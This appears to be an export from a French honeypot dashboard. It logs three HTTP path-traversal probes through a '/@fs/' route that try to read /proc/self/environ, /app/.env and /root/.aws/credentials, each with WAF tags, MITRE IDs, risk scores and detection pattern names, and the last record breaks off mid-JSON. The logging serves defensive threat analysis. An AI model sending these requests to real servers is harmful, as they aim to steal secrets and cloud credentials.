GET /@fs/../../../../../proc/self/environ?raw?? HTTP/1.1 Host: 62.3.50.33:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 3,
"http_query_params": 1,
"http_path_depth": 9,
"http_path_ext": "\/proc\/self\/environ",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "37d8e3e984b4934a164dcd81fe4d0ed009734a2e",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 227,
"payload_entropy": 5.289163255989327,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.2,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 11,
"anomaly_count": 0,
"campaign_key": "209da34d0681ee1a1240d83f5a63bbc39a9b52c7",
"event_fingerprint": "78fc4883473ffda66f9788a8baadcb04b2764117",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 811,
"precision_signals": [
"CRS-930100",
"MITRE-T1083",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0714"
],
"kb_rule_ids": [
"CRS-930100",
"MITRE-T1083",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0714",
"pat-0083",
"pat-0140"
],
"matched_patterns": [
"pat-0508",
"pat-0711",
"pat-0714",
"pat-0083",
"pat-0081",
"pat-0140"
],
"matched_pattern_names": [
"ET path traversal encoded",
"CRS 930100 path traversal",
"CRS 930140 proc self",
"CRS 930110",
"LFI Path traversal encoded",
"LFI path \/proc\/self\/environ"
],
"pattern_ids": [
"pat-0508",
"pat-0711",
"pat-0714",
"pat-0083",
"pat-0081",
"pat-0140"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "1a909127d0b8d3787e3583f74d35cc43",
"path_pattern_hash": "bc708bb614ed1f24452f0ed910229f39"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"method": "GET",
"path": "\/@fs\/..\/..\/..\/..\/..\/proc\/self\/environ",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/..\/..\/..\/..\/..\/proc\/self\/environ?raw?? HTTP\/1.1",
"payload_snippet": "GET \/@fs\/..\/..\/..\/..\/..\/proc\/self\/environ?raw?? HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64",
"evidence": {
"method": "GET",
"path": "\/@fs\/..\/..\/..\/..\/..\/proc\/self\/environ",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/..\/..\/..\/..\/..\/proc\/self\/environ?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/..\/..\/..\/..\/..\/proc\/self\/environ?raw?? HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/@fs\/..\/..\/..\/..\/..\/proc\/self\/environ?raw?? HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "2154c3368749a5c3ecd0c2933834c77bdb44e3f0",
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/..\/..\/..\/..\/..\/proc\/self\/environ",
"request_line": "GET \/@fs\/..\/..\/..\/..\/..\/proc\/self\/environ?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/@fs\/..\/..\/..\/..\/..\/proc\/self\/environ?raw?? HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/..\/..\/..\/..\/..\/proc\/self\/environ",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 6 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"CRS-930100",
"MITRE-T1083",
"INT-http_lfi",
"pat-0508"
],
"tags_summary_labels_fr": [
"CRS-930100",
"MITRE-T1083",
"Http Lfi",
"pat-0508"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/..\/..\/..\/..\/..\/proc\/self\/environ",
"request_line": "GET \/@fs\/..\/..\/..\/..\/..\/proc\/self\/environ?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/..\/..\/..\/..\/..\/proc\/self\/environ",
"evidence_snippet": "GET \/@fs\/..\/..\/..\/..\/..\/proc\/self\/environ?raw?? HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 6 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 6 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950264:lfi-1",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_dependency_confusion_probe",
"http_path_traversal",
"http_path_traversal_high",
"http_sensitive_path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:11 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /@fs/../../../../../app/.env
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /@fs/../../../../../app/.env UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
43
Recommandation
Investiguer
Tags
950260:lfi-0
950316:lfi-14
950326:rce-0
950468:nosqli-3
Cible HTTP
GET
/@fs/../../../../../app/.env
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/@fs/../../../../../app/.env
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — Motif catalogue confirmé · 6 tag(s) WAF
Protocole émulé
1 Signaux
CRS-930100
Http Lfi
pat-0508
pat-0711
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
ET path traversal encoded
CRS 930100 path traversal
CRS 930110
LFI Path traversal encoded
Ligne de requête
GET /@fs/../../../../../app/.env?raw?? HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
lfi-14
rce-0
nosqli-3
leak-1
Payload (extrait)
GET /@fs/../../../../../app/.env?raw?? HTTP/1.1
Host: 62.3.50.33:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Ap
Requête brute (extrait)
GET /@fs/../../../../../app/.env?raw?? HTTP/1.1 Host: 62.3.50.33:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 3,
"http_query_params": 1,
"http_path_depth": 8,
"http_path_ext": "env",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "d26ee85017369a5c0eac35526fd12634c171f82f",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 218,
"payload_entropy": 5.293634073969046,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.2,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 12,
"anomaly_count": 0,
"campaign_key": "acaeabf2fa3d5da3398abfd2c552047cb54d74bb",
"event_fingerprint": "f153fccb775735d0ef61548b09a933a9f70a863e",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 537,
"precision_signals": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub"
],
"kb_rule_ids": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"matched_pattern_names": [
"ET path traversal encoded",
"CRS 930100 path traversal",
"CRS 930110",
"LFI Path traversal encoded"
],
"pattern_ids": [
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "6e879565bf54a705c5fe686526606aab",
"path_pattern_hash": "574ed1f9cb7d84c8401f693d440ce660"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"method": "GET",
"path": "\/@fs\/..\/..\/..\/..\/..\/app\/.env",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1"
],
"waf_rule_names": [
"lfi-0",
"lfi-14",
"rce-0",
"nosqli-3",
"leak-1"
],
"request_line": "GET \/@fs\/..\/..\/..\/..\/..\/app\/.env?raw?? HTTP\/1.1",
"payload_snippet": "GET \/@fs\/..\/..\/..\/..\/..\/app\/.env?raw?? HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) Ap",
"evidence": {
"method": "GET",
"path": "\/@fs\/..\/..\/..\/..\/..\/app\/.env",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1"
],
"waf_rule_names": [
"lfi-0",
"lfi-14",
"rce-0",
"nosqli-3",
"leak-1"
],
"request_line": "GET \/@fs\/..\/..\/..\/..\/..\/app\/.env?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/..\/..\/..\/..\/..\/app\/.env?raw?? HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/@fs\/..\/..\/..\/..\/..\/app\/.env?raw?? HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) Ap",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "dd5ab037acb450b6393b7bb49f50974ec917d153",
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/..\/..\/..\/..\/..\/app\/.env",
"request_line": "GET \/@fs\/..\/..\/..\/..\/..\/app\/.env?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/@fs\/..\/..\/..\/..\/..\/app\/.env?raw?? HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) Ap",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/..\/..\/..\/..\/..\/app\/.env",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 6 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711"
],
"tags_summary_labels_fr": [
"CRS-930100",
"Http Lfi",
"pat-0508",
"pat-0711"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/..\/..\/..\/..\/..\/app\/.env",
"request_line": "GET \/@fs\/..\/..\/..\/..\/..\/app\/.env?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/..\/..\/..\/..\/..\/app\/.env",
"evidence_snippet": "GET \/@fs\/..\/..\/..\/..\/..\/app\/.env?raw?? HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) Ap",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 6 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 6 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1",
"http_backup_file_scan",
"http_dependency_confusion_probe",
"http_path_traversal",
"http_path_traversal_high",
"http_sensitive_path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:11 UTC
TCP
8080 · HTTP
Sonde fichier credential / clé
credential file probe · via HTTP:8080 · (tentative d'exploit) · → /@fs/root/.aws/credentials
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /@fs/root/.aws/credentials UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950316:lfi-14
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/@fs/root/.aws/credentials
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/@fs/root/.aws/credentials
Pourquoi cette classification : Sonde fichier sensible: fichier credential/clé · Règle WAF « lfi-14 » · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
SIGMA-web-credential-file
pat-0468
Upstream
Waf Score
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
Cred AWS credentials file
Ligne de requête
GET /@fs/root/.aws/credentials?raw?? HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-14
rce-0
nosqli-3
Payload (extrait)
GET /@fs/root/.aws/credentials?raw?? HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64;
Requête brute (extrait)
GET /@fs/root/.aws/credentials?raw?? HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 1,
"http_path_depth": 4,
"http_path_ext": "aws\/credentials",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "835e4f2fa9e59b22c3f4d5d57dfb90aadaf18b32",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 229,
"payload_entropy": 5.363712525974384,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 82,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.3,
"risk_breakdown": {
"waf": 100,
"classification": 82,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "3e439945a2916d75cddf45409896a7f32e49f1b4",
"event_fingerprint": "2d4acfe76193fe4a5e8c2c1043ac4fd954b1c364",
"classification_reason": "Sonde fichier sensible: fichier credential\/cl\u00e9 \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 225,
"precision_signals": [
"SIGMA-web-credential-file",
"pat-0468",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"SIGMA-web-credential-file",
"pat-0468",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0468"
],
"matched_pattern_names": [
"Cred AWS credentials file"
],
"pattern_ids": [
"pat-0468"
],
"confidence_breakdown": {
"waf": 100,
"classification": 82,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "lfi_attack",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "8d6b18eeb756e19c3998ffd69417d3a7",
"path_pattern_hash": "22a7c5717d0c0df91a54c699ee5d50ef"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"payload_preview": "GET \/@fs\/root\/.aws\/credentials?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; ",
"method": "GET",
"path": "\/@fs\/root\/.aws\/credentials",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/root\/.aws\/credentials?raw?? HTTP\/1.1",
